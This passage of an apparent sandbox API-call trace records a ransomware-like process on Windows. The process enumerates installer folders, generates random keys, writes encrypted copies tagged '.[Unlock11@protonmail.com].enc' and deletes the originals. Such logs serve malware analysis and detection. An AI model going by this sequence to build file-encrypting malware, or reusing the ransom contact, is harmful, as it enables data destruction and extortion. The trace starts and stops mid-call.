lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0114.209] GetLastError () returned 0x0 [0114.209] GetLastError () returned 0x0 [0114.209] GetLastError () returned 0x0 [0114.209] GetCurrentThreadId () returned 0x9b0 [0114.209] GetLastError () returned 0x0 [0114.210] GetLastError () returned 0x0 [0114.210] GetLastError () returned 0x0 [0114.210] GetLastError () returned 0x0 [0114.210] GetLastError () returned 0x0 [0114.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0114.210] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412)) returned 1 [0114.210] GetLastError () returned 0x0 [0114.210] GetCurrentThreadId () returned 0x9b0 [0114.210] GetLastError () returned 0x0 [0114.210] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0114.211] GetCurrentThreadId () returned 0x9b0 [0114.211] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664174 | out: pbBuffer=0x3664174) returned 1 [0114.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0114.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.211] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0114.211] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd18 [0114.211] GetCurrentThreadId () returned 0x9b0 [0114.211] GetLastError () returned 0x0 [0114.211] GetLastError () returned 0x0 [0114.211] GetLastError () returned 0x0 [0114.211] GetLastError () returned 0x0 [0114.211] GetCurrentThreadId () returned 0x9b0 [0114.212] GetLastError () returned 0x0 [0114.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd18 | out: hHeap=0x2ad0000) returned 1 [0114.212] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cd18 [0114.212] GetLastError () returned 0x0 [0114.212] GetLastError () returned 0x0 [0114.212] GetLastError () returned 0x0 [0114.212] GetLastError () returned 0x0 [0114.212] GetCurrentThreadId () returned 0x9b0 [0114.212] GetLastError () returned 0x0 [0114.212] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cd18 | out: hHeap=0x2ad0000) returned 1 [0114.212] GetCurrentThreadId () returned 0x9b0 [0114.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d08 [0114.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.213] GetLastError () returned 0x0 [0114.213] GetLastError () returned 0x0 [0114.213] GetLastError () returned 0x0 [0114.213] GetLastError () returned 0x0 [0114.213] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.213] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c48 [0114.213] GetLastError () returned 0x0 [0114.213] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.214] GetFileType (hFile=0x39c) returned 0x1 [0114.214] GetLastError () returned 0x0 [0114.214] GetCurrentThreadId () returned 0x9b0 [0114.214] GetLastError () returned 0x0 [0114.214] GetFileType (hFile=0x39c) returned 0x1 [0114.214] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.214] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.214] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.214] GetLastError () returned 0x0 [0114.215] GetCurrentThreadId () returned 0x9b0 [0114.215] GetLastError () returned 0x0 [0114.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c48 | out: hHeap=0x2ad0000) returned 1 [0114.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.215] GetLastError () returned 0x0 [0114.215] GetLastError () returned 0x0 [0114.215] GetLastError () returned 0x0 [0114.215] GetLastError () returned 0x0 [0114.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d38 [0114.215] GetLastError () returned 0x0 [0114.215] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.217] GetFileType (hFile=0x3ac) returned 0x1 [0114.217] GetLastError () returned 0x0 [0114.217] GetCurrentThreadId () returned 0x9b0 [0114.217] GetLastError () returned 0x0 [0114.217] GetFileType (hFile=0x3ac) returned 0x1 [0114.218] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.218] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.218] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.218] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.218] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.218] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.218] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.218] GetLastError () returned 0x0 [0114.218] GetCurrentThreadId () returned 0x9b0 [0114.218] GetLastError () returned 0x0 [0114.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d38 | out: hHeap=0x2ad0000) returned 1 [0114.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0114.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0114.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.219] GetLastError () returned 0x0 [0114.219] GetLastError () returned 0x0 [0114.219] GetCurrentThreadId () returned 0x9b0 [0114.219] GetLastError () returned 0x0 [0114.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0114.224] GetLastError () returned 0x0 [0114.224] GetLastError () returned 0x0 [0114.224] GetCurrentThreadId () returned 0x9b0 [0114.224] GetLastError () returned 0x0 [0114.224] GetLastError () returned 0x0 [0114.226] GetLastError () returned 0x0 [0114.226] GetCurrentThreadId () returned 0x9b0 [0114.226] GetLastError () returned 0x0 [0114.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.226] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.227] GetCurrentThreadId () returned 0x9b0 [0114.229] GetLastError () returned 0x0 [0114.229] GetLastError () returned 0x0 [0114.231] GetLastError () returned 0x0 [0114.231] GetLastError () returned 0x0 [0114.231] GetCurrentThreadId () returned 0x9b0 [0114.231] GetLastError () returned 0x0 [0114.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.231] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.231] GetLastError () returned 0x0 [0114.233] GetLastError () returned 0x0 [0114.233] GetCurrentThreadId () returned 0x9b0 [0114.233] GetLastError () returned 0x0 [0114.233] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.233] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.234] GetLastError () returned 0x0 [0114.234] GetLastError () returned 0x0 [0114.234] GetCurrentThreadId () returned 0x9b0 [0114.234] GetLastError () returned 0x0 [0114.234] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4427) returned 0x36f8548 [0114.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.234] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x4435) returned 0x36f8548 [0114.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c78 [0114.234] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0114.234] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4438) returned 0x3887a10 [0114.235] GetCurrentThreadId () returned 0x9b0 [0114.235] GetLastError () returned 0x0 [0114.235] GetLastError () returned 0x0 [0114.235] GetLastError () returned 0x0 [0114.235] GetLastError () returned 0x0 [0114.235] GetCurrentThreadId () returned 0x9b0 [0114.235] GetLastError () returned 0x0 [0114.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.235] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.235] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.236] GetLastError () returned 0x0 [0114.236] GetLastError () returned 0x0 [0114.236] GetCurrentThreadId () returned 0x9b0 [0114.236] GetLastError () returned 0x0 [0114.236] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388be50 | out: hHeap=0x2ad0000) returned 1 [0114.236] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.236] GetLastError () returned 0x0 [0114.236] GetLastError () returned 0x0 [0114.237] GetCurrentThreadId () returned 0x9b0 [0114.237] GetLastError () returned 0x0 [0114.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.237] GetLastError () returned 0x0 [0114.237] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.237] CloseHandle (hObject=0x3ac) returned 1 [0114.237] GetLastError () returned 0x0 [0114.237] GetCurrentThreadId () returned 0x9b0 [0114.238] GetLastError () returned 0x0 [0114.238] GetLastError () returned 0x0 [0114.238] CloseHandle (hObject=0x39c) returned 1 [0114.238] GetLastError () returned 0x0 [0114.238] GetCurrentThreadId () returned 0x9b0 [0114.238] GetLastError () returned 0x0 [0114.238] GetLastError () returned 0x0 [0114.238] GetLastError () returned 0x0 [0114.238] GetLastError () returned 0x0 [0114.238] GetLastError () returned 0x0 [0114.238] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0114.240] GetLastError () returned 0x0 [0114.240] GetCurrentThreadId () returned 0x9b0 [0114.240] GetLastError () returned 0x0 [0114.240] GetCurrentThreadId () returned 0x9b0 [0114.240] GetLastError () returned 0x0 [0114.240] GetLastError () returned 0x0 [0114.240] GetLastError () returned 0x0 [0114.240] GetLastError () returned 0x0 [0114.241] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1036\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.241] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.241] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.241] GetCurrentThreadId () returned 0x9b0 [0114.241] GetLastError () returned 0x0 [0114.241] GetLastError () returned 0x0 [0114.241] GetLastError () returned 0x0 [0114.241] GetLastError () returned 0x0 [0114.241] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7590 [0114.242] GetLastError () returned 0x0 [0114.242] GetCurrentThreadId () returned 0x9b0 [0114.242] GetLastError () returned 0x0 [0114.242] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.242] GetLastError () returned 0x0 [0114.242] GetCurrentThreadId () returned 0x9b0 [0114.242] GetLastError () returned 0x0 [0114.242] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1ac3, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.242] GetLastError () returned 0x0 [0114.242] GetCurrentThreadId () returned 0x9b0 [0114.242] GetLastError () returned 0x0 [0114.243] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.243] GetLastError () returned 0x0 [0114.243] GetCurrentThreadId () returned 0x9b0 [0114.243] GetLastError () returned 0x0 [0114.243] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.243] GetLastError () returned 0x0 [0114.243] GetCurrentThreadId () returned 0x9b0 [0114.243] GetLastError () returned 0x0 [0114.243] FindNextFileA (in: hFindFile=0x10f7590, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.243] GetLastError () returned 0x12 [0114.243] GetCurrentThreadId () returned 0x9b0 [0114.243] GetLastError () returned 0x12 [0114.243] GetLastError () returned 0x12 [0114.243] FindClose (in: hFindFile=0x10f7590 | out: hFindFile=0x10f7590) returned 1 [0114.244] GetCurrentThreadId () returned 0x9b0 [0114.244] GetLastError () returned 0x12 [0114.244] GetLastError () returned 0x12 [0114.244] GetLastError () returned 0x12 [0114.244] GetLastError () returned 0x12 [0114.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.244] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0114.244] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20288 | out: hHeap=0x2ad0000) returned 1 [0114.244] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881000 [0114.245] GetLastError () returned 0x12 [0114.245] GetLastError () returned 0x12 [0114.245] GetLastError () returned 0x12 [0114.245] GetLastError () returned 0x12 [0114.245] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.245] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0114.247] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.248] GetCurrentThreadId () returned 0x9b0 [0114.248] GetLastError () returned 0x12 [0114.248] GetLastError () returned 0x12 [0114.248] GetLastError () returned 0x12 [0114.248] GetLastError () returned 0x12 [0114.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.248] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0114.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0114.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.249] GetLastError () returned 0x12 [0114.249] GetLastError () returned 0x12 [0114.249] GetLastError () returned 0x12 [0114.249] GetLastError () returned 0x12 [0114.249] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.249] GetCurrentThreadId () returned 0x9b0 [0114.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.250] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.250] GetCurrentThreadId () returned 0x9b0 [0114.250] GetLastError () returned 0x12 [0114.250] GetLastError () returned 0x12 [0114.250] GetLastError () returned 0x12 [0114.250] GetLastError () returned 0x12 [0114.250] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.250] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0114.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0114.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.251] GetCurrentThreadId () returned 0x9b0 [0114.251] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.251] GetLastError () returned 0x0 [0114.251] GetLastError () returned 0x0 [0114.251] GetLastError () returned 0x0 [0114.251] GetLastError () returned 0x0 [0114.251] GetCurrentThreadId () returned 0x9b0 [0114.251] GetLastError () returned 0x0 [0114.251] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.252] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.252] GetCurrentThreadId () returned 0x9b0 [0114.252] GetLastError () returned 0x0 [0114.252] GetCurrentThreadId () returned 0x9b0 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.252] GetLastError () returned 0x0 [0114.253] GetCurrentThreadId () returned 0x9b0 [0114.253] GetLastError () returned 0x0 [0114.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.253] GetLastError () returned 0x0 [0114.253] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d61e0 | out: hHeap=0x2ad0000) returned 1 [0114.253] GetLastError () returned 0x0 [0114.253] GetLastError () returned 0x0 [0114.253] GetLastError () returned 0x0 [0114.253] GetCurrentThreadId () returned 0x9b0 [0114.253] GetLastError () returned 0x0 [0114.253] GetLastError () returned 0x0 [0114.253] GetLastError () returned 0x0 [0114.254] GetLastError () returned 0x0 [0114.254] GetCurrentThreadId () returned 0x9b0 [0114.254] GetCurrentThreadId () returned 0x9b0 [0114.254] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c)) returned 1 [0114.254] GetCurrentThreadId () returned 0x9b0 [0114.254] GetCurrentThreadId () returned 0x9b0 [0114.254] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664304 | out: pbBuffer=0x3664304) returned 1 [0114.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0114.254] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0114.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf70 [0114.255] GetCurrentThreadId () returned 0x9b0 [0114.255] GetCurrentThreadId () returned 0x9b0 [0114.255] GetCurrentThreadId () returned 0x9b0 [0114.255] GetCurrentThreadId () returned 0x9b0 [0114.255] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d48 [0114.255] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0114.255] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.256] GetFileType (hFile=0x39c) returned 0x1 [0114.256] GetCurrentThreadId () returned 0x9b0 [0114.256] GetFileType (hFile=0x39c) returned 0x1 [0114.256] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.256] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.256] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.256] FileTimeToSystemTime (in: 